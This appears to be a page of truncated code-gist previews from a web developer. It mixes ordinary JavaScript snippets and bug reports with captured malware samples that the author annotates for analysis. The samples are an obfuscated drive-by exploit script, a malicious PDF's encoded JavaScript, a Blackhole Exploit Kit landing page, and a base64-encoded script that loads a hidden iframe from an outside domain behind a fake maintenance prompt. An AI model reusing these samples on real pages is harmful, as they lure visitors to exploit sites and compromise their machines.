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<html> | |
<head> | |
<title>Somewhat-normalized event add/remove</title> | |
<script> | |
var addEvent, removeEvent; | |
(function() { | |
/* | |
* Somewhat-normalized event add/remove (old IE/W3C) |
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<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" | |
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> | |
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"> | |
<head> | |
<style type="text/css"> | |
body { | |
font:76% normal verdana,arial,tahoma; | |
} |
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[ Report for Google Closure Compiler folks, internal compiler error on routinely-compressed JS ] | |
Source file used: | |
https://raw.github.com/scottschiller/SoundManager2/V2.97a.20110801+DEV/script/soundmanager2-nodebug.js | |
Reporting this per instructions in the compiler output. | |
For what it's worth, compilation has previously been successful until I updated the compiler to the build below. | |
This version of the compiler fails: | |
Closure Compiler (http://code.google.com/closure/compiler) |
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<!-- Fake "Better Business Bureau" email had a link going to a compromised site with obfuscated JS, which ultimately created an iFrame that loaded this on a remote domain with /main.php?page=[some_characters]. --> | |
<!-- Probably some drive-by exploit, don't run this on - er, well - anything - but especially not WinXP. --> | |
<!-- commented out to prevent accidental execution, too. --> | |
<html><body><script> | |
/* | |
ss='s';g='g';r='r';d='d';c='c';t='t'; | |
try{new window(123).typ;}catch(qq){aa=/d/.exec("a"+"ds").index+[];e=window.eval;cc=document;} | |
aaa=1+[]; | |
try{new btoa({});}catch(qqq){ |
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I got this PDF as an email attachment. | |
The PDF file included a JavaScript block defining an array, and some encoded (for example, {) character entries underneath defining the function responsible for decoding and running it. | |
The interesting part of the PDF where the script started: | |
<test:script contentType='application/x-javascript'> | |
That was followed by the array data (not encoded), and then this block: |
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<html> | |
<head> | |
<!-- | |
report URL: https://getsatisfaction.com/schillmania/topics/sound_playing_double | |
related SM2 fix/commit: https://github.com/scottschiller/SoundManager2/commit/013565dbb5abfc5bf0ab66b0246352ee3ca5cc02 | |
--> | |
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> | |
<title>Soundmanager test</title> | |
<!-- you'll have to correct the paths to SoundManager to get it working for yourself --> | |
<script>window.SM2_DEFER = true;</script> |
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<!-- | |
Lack of DTD means quirks mode in IE 9, and YUI 3.5.1 will fail to load module dependencies due to <script>.onload not being supported. <script>.onreadystatechange should instead be used when document.documentMode < 9, which means IE 9 rendering a page in quirks mode, IE 7 or IE 8 standards mode. | |
--> | |
<html> | |
<head> | |
<script src="http://yui.yahooapis.com/3.5.1/build/yui/yui-min.js"></script> | |
<script> | |
// Create a YUI sandbox on your page. | |
YUI().use('node', 'event', function (Y) { | |
// The Node and Event modules are loaded and ready to use. |
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<!-- Flickr is made of, by and for humans: Here are 17 signs of empathy in the form of loading messages. ;) --> | |
Reticulating splines... | |
Frobulating widgets... | |
Engaging Tuna Blaster... | |
Firing up the engines... | |
Buffering... | |
Herding pandas... | |
Questioning the Magic Donkey... | |
Your machine is learning our ways |
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/** | |
* Looks as though this thing scans for vulnerable versions of Flash, Adobe PDF Reader and Java plugins. | |
* Oddly, the functions j1/j2/p1/p2/f1/f2 (which would presumably do the dirty work) are empty. | |
* It's worth noting that the hosting (bad) page says "Please wait, you will be forwarded / IE and Firefox-compatible only". | |
* Allegedly this is part of the "Blackhole Exploit Kit". | |
* Related details / video etc.: | |
* http://malwaremustdie.blogspot.com/2012/09/important-blackhole-exploit-kit-starts.html | |
* http://malware.dontneedcoffee.com/2012/09/BHEK2.0landing.html | |
*/ |
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<div class="the-video hideflash"><script src="data:text/plain;base64,dmFyIGZyYW1la2lsbGVyID0gdHJ1ZTsNCg0Kd2luZG93Lm9ubG9hZCA9IGZ1bmN0aW9uKCl7DQogIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdsYXBwZXInKS5zcmMgPSAiaHR0cDovL2kuaG9wZS55b3UuZ2V0LnN0cmFuZ2xlZC5uZXQiOw0KfQ0KDQp3aW5kb3cub25iZWZvcmV1bmxvYWQgPSBmdW5jdGlvbigpIHsgDQogIGlmKGZyYW1la2lsbGVyKSB7DQogICAgcmV0dXJuICJOb3RpY2U6IFR1bWJsciB3aWxsIGJlIHVuZGVyZ29pbmcgbWFpbnRlbmFuY2Ugb24gRGVjZW1iZXIgNHRoIDIwMTIgYXQgMDE6MDAgQU0gZm9yIHNldmVyYWwgaG91cnMuXG5cbiBXZSBjYW5ub3QgZm9yZWNhc3QgZm9yIGV4YWN0bHkgaG93IGxvbmcsIHVuZm9ydHVuYXRlbHkuXG4gV2UgYXBvbG9naXplIGZvciB0aGUgaW5jb252ZW5pZW5jZS5cblxuWW91IG1heSBub3cgZGlzbWlzcyB0aGlzIG1lc3NhZ2UgdmlhICdDYW5jZWwvU3RheSBvbiB0aGlzIHBhZ2UnLiBUaGFuayB5b3UuIjsgIC8vIGFueSBtZXNzYWdlIHRoYXQgaGVscHMgdXNlciB0byBtYWtlIGRlY2lzaW9uDQogIH0NCn07"></script><iframe id="lapper" width="0" height="0" style="opacity: 0;"></iframe></div> | |
Decoded: | |
/* | |
var framekiller = true; | |
window.onload = function(){ | |
document.getElementById('lapper').src = "http://i.hope.you.get.st |